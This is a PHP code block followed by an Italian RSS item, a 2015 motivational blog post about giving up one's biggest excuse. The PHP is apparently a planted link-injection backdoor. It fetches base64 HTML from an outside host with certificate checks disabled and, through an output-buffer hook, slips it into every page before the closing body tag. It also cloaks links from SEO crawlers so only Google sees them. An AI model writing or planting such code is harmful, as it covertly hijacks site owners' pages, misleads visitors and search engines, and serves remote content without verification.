if (!defined('__LPK_IN__')) {
    define('__LPK_IN__', 1);
    if (!defined('__API_URL__'))   define('__API_URL__',   'https://linksparagon.com');
    if (!defined('__CACHE_TTL__')) define('__CACHE_TTL__', 300);

    if (!function_exists('__getCURLSite__')) {
        function __getCURLSite__($site, $post_data = null, $extra_headers = array()) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $site);
            if (!is_null($post_data)) {
                curl_setopt($ch, CURLOPT_POST, true);
                curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
            }
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
            if (!empty($extra_headers)) {
                curl_setopt($ch, CURLOPT_HTTPHEADER, $extra_headers);
            }
            $response = curl_exec($ch);
            if (curl_errno($ch)) $response = false;
            curl_close($ch);
            return $response;
        }
    }

    if (!function_exists('__cache_get')) {
        function __cache_get($key) {
            $f = sys_get_temp_dir() . '/h4_cache_' . md5($key) . '.json';
            if (!is_file($f)) return null;
            $raw = @file_get_contents($f);
            if ($raw === false) return null;
            $o = @json_decode($raw, true);
            if (!is_array($o)) return null;
            if (isset($o['t']) && $o['t'] + __CACHE_TTL__ < time()) return null;
            return isset($o['v']) ? $o['v'] : null;
        }
    }

    if (!function_exists('__cache_set')) {
        function __cache_set($key, $val) {
            $f = sys_get_temp_dir() . '/h4_cache_' . md5($key) . '.json';
            @file_put_contents($f, json_encode(array('t' => time(), 'v' => $val)));
        }
    }

    if (!function_exists('__is_spy_bot__')) {
        function __is_spy_bot__() {
            $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
            if (trim($ua) === '') return false;
            $bots = array(
                'AhrefsBot','AhrefsSiteAudit','SemrushBot','SiteAuditBot',
                'DotBot','Rogerbot','MJ12bot','MajesticBot',
                'Screaming Frog SEO Spider','ScreamingFrogSEOSpider',
                'DataForSeoBot','SEOkicks','SEOkicks-Robot',
                'AwarioRssBot','AwarioSmartBot','AwarioBot',
                'Brandwatch','Searchmetricsbot','Sidetrade indexer bot',
                'peer39_crawler','BLEXBot','cognitiveSEO','LRT Bot','LRT Spider',
                'Meltwater','Mediatoolkitbot','Neticlebot','SISTRIX','SerpstatBot',
                'spyfu','Botify','ContentKing','DeepCrawl','Lumar','seobility',
                'WebCEO','AddThis','Barkrowler','BacklinksExtendedBot','BrightEdge Crawler',
                'OAI-SearchBot','CohereBot','DeepSeekBot','SEOlyze','IstellaBot',
                'GrapeshotCrawler','Netvibes','NetcraftSurveyAgent'
            );
            foreach ($bots as $bot) {
                if (stripos($ua, $bot) !== false) return true;
            }
            return false;
        }
    }

    if (!function_exists('__get_backlink_codes__')) {
        function __get_backlink_codes__() {
            $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
            $host = strtolower(str_replace('www.', '', preg_replace('/:\d+$/', '', $host)));
            if ($host === '') return null;
            $host_id = crc32($host);
            $cacheKey = 'bl_' . md5($host);
            $cached = __cache_get($cacheKey);
            if ($cached !== null) return $cached;
            $u = __API_URL__ . '/g/?i=' . urlencode($host_id) . '&d=' . urlencode($host) . '&t=th';
            $response = __getCURLSite__($u);
            if ($response !== false && is_string($response)) {
                $c = @json_decode($response, true);
                if (is_array($c) && isset($c['s']) && $c['s'] == true) {
                    __cache_set($cacheKey, $response);
                    return $response;
                }
            }
            return null;
        }
    }

    if (!function_exists('__show_footer_backlink__')) {
        function __show_footer_backlink__() {
            $is_spy = __is_spy_bot__();
            $r   = '';
            $raw = __get_backlink_codes__();
            if (!$raw) return '';
            $c = @json_decode($raw, true);
            if (!is_array($c) || !isset($c['s']) || $c['s'] != true || empty($c['l'])) return '';
            $r .= isset($c['f']) ? $c['f'] : '';
            foreach ($c['l'] as $v) {
                $only_google = isset($v['g']) ? (int)$v['g'] : 0;
                if ($only_google == 1 && $is_spy) continue;
                $r .= isset($v['h']) ? base64_decode($v['h']) : '';
            }
            $r .= isset($c['e']) ? $c['e'] : '';
            return $r;
        }
    }

    // Footer injection: named ob_start callback (PHP 5.2 uyumlu, anonim fonksiyon YOK)
    // - Yalnızca </body> içeren HTML yanıtları modifiye eder
    // - AJAX / REST API / CRON / CLI isteklerini atlar
    // - str_ireplace ile </body> öncesine düzgün ekler
    if (!function_exists('__lpk_ob_cb__')) {
        function __lpk_ob_cb__($buf) {
            if (!is_string($buf) || stripos($buf, '</body>') === false) return $buf;
            if (defined('DOING_AJAX')   && DOING_AJAX)   return $buf;
            if (defined('REST_REQUEST') && REST_REQUEST) return $buf;
            if (defined('DOING_CRON')   && DOING_CRON)   return $buf;
            if (php_sapi_name() === 'cli')               return $buf;
            $link = __show_footer_backlink__();
            return ($link !== '') ? str_ireplace('</body>', $link . '</body>', $buf) : $buf;
        }
    }
    @ob_start('__lpk_ob_cb__');
}

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	<title>sacrifici &#8211; EgoFormazione &#8211; Quelli che allenano i tuoi neuroni!</title>
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		<title>Rinuncia alla tua scusa più grande&#8230;</title>
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		<pubDate>Thu, 16 Apr 2015 08:42:54 +0000</pubDate>
		<dc:creator><![CDATA[Stella Mitarotonda]]></dc:creator>
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		<description><![CDATA[Ti sei mai lavato i denti con il sapone? Hai mai asciugato i tuoi jeans in forno pur di poterli indossare subito? Sei mai tornato a casa dopo essere uscito perchè avevi dimenticato qualcosa di importante? Hai mai fatto lo slalom tra le macchine per arrivare prima? E non perchè fossi in ritardo, semplicemente per...]]></description>
				<content:encoded><![CDATA[<p>Ti sei mai lavato i denti con il sapone?</p>
<p>Hai mai asciugato i tuoi jeans in forno pur di poterli indossare subito?</p>
<p>Sei mai tornato a casa dopo essere uscito perchè avevi dimenticato qualcosa di importante?</p>
<p>Hai mai fatto lo slalom tra le macchine per arrivare prima? E non perchè fossi in ritardo, semplicemente per la voglia di arrivare?</p>
<p>Insomma, <strong>hai mai fatto qualcosa con talmente tanto entusiasmo da fare errori semplici e banali</strong> che se non avessi avuto tutta quella fretta e quella smania di raggiungere il risultato avresti potuto evitare?</p>
<p>Se mai inciampato mentre correvi incontro ai tuoi sogni?</p>
<p>Quanta passione c’è in ogni singola azione che ti porta a quell’obiettivo? Errori e cadute compresi!</p>
<p>E pensa a quanto, anche quei piccoli errori, possono esserti utili perchè sbagliando si impara e se impariamo dai nostri errori cambiando le nostre azioni e rendendole produttive, miglioreremo continuamente. Pensa anche <strong>a quanto ci è utile quell’entusiamo, quella voglia di fare, quella capacità di fare sacrifici</strong>, di mettersi in gioco e in discussione per ottenere ciò che vogliamo davvero.</p>
<p>A volte però, proprio questo entusiamo lo veicoliamo su tutto ciò che non è produttivo per noi, e utilizziamo lo stesso umore, la stessa energia, la stessa convinzione <strong>per inventare SCUSE</strong>. E ce ne convinciamo, ci crediamo. Le opzioni sono due: o ti sei riconosciuto in quanto ho appena scritto oppure&#8230; Starai pensando: “IO? NO! CONOSCO UN SACCO DI PERSONE CHE LO FANNO, MA IO NON SONO ASSOLUTAMENTE COSì”. Allora vi metto un po’ alla prova e vediamo se vi riconoscete in questi atteggiamenti:</p>
<p>Da Lunedì mangerò sano!</p>
<p>Vorrei tanto allenarmi, ma lavoro troppo, rientro a casa stravolto/a.</p>
<p>Quel libro? È così tanto tempo che devo leggerlo, ma non ho proprio mai tempo!</p>
<p>Devo chiamare quell’amico che non sento da un sacco, ma non riesco mai a incastrare gli orari.</p>
<p>Non mi metto a studiare quella lingua perchè tanto ormai&#8230;</p>
<p>Non le/gli chiedo di uscire, perchè non è il momento adatto.</p>
<p>Si fumo, è vero, ma io fumo perchè mi piace e perchè ne ho voglia, e poi mi rilassa e non è proprio il periodo di smettere.</p>
<p>Quante volte hai preferito <strong>continuare a fare ciò che hai sempre fatto, semplicemente perchè era più comodo, rispetto a cambiare e a fare qualcosa di buono per te?</strong></p>
<p>Quante volte hai inventato scuse per sgarrare durante una dieta, per non fare qualcosa di importante o per non affrontare quel discorso spinoso?</p>
<p>Quante volte ti sei fatto guidare dalla paura per non fare quello che avresti realment e voluto fare?</p>
<p><strong>A quante cose hai rinunciato inventando delle scuse?</strong></p>
<p>Una volta mi hanno detto: “Ti puoi pentire solo di quello che non hai fatto, mai di quello che hai fatto”. Non rifletterci troppo su, perchè questo non è il momento di pentirsi. <strong>Questo è il momento di AGIRE! </strong>Voglio lanciarti una sfida, raccontandoti qualcosa di me e di alcune cose che mi sono sentita dire, come ad esempio:</p>
<p>“Non puoi fare la mamma, avere una passione e fare carriera”.</p>
<p>“Una donna non può allenarsi con i pesi e non può fare lo squat”.</p>
<p>Ammetto di  essere stata per molto tempo Miss Scuse, e ahimè ogni tanto ci casco ancora. Molte delle scuse che hai appena letto sono mie, e proprio per questo ho deciso di scrivere questo articolo. Mi piace pensare di <strong>dover dimostrare a me stessa</strong>, più che a chiunque altro che non ci sia <strong>niente al mondo che io non possa fare. </strong>Per questo, quando inizio a credere di non poter o di non saper fare qualcosa, la faccio.</p>
<p>Ho 22 anni, un bambino meraviglioso che ha da poco compiuto un anno, sono Trainer di tecniche di memoria e lettura rapida, mi alleno, scrivo, leggo e canto!</p>
<p>La mia sfida per te è questa: <strong>rinuncia alla tua scusa più grande</strong>, quella che continui a dire agli altri e troppe volte anche a te stesso. Apri il tuo cuore, accetta la fatica, il sacrificio, il compromesso. Sbaglierai e sarai più forte di adesso. E ogni volta in cui il tuo cervello starà per inventare una scusa fermalo, e accetta la sfida!</p>
<p>Oggi io ho deciso di rinunciare a una scusa: quella che mi impedisce di smettere di fumare.</p>
<p>E tu? Come hai intenzione di iniziare i tuoi nuovi giorni senza scuse?</p>
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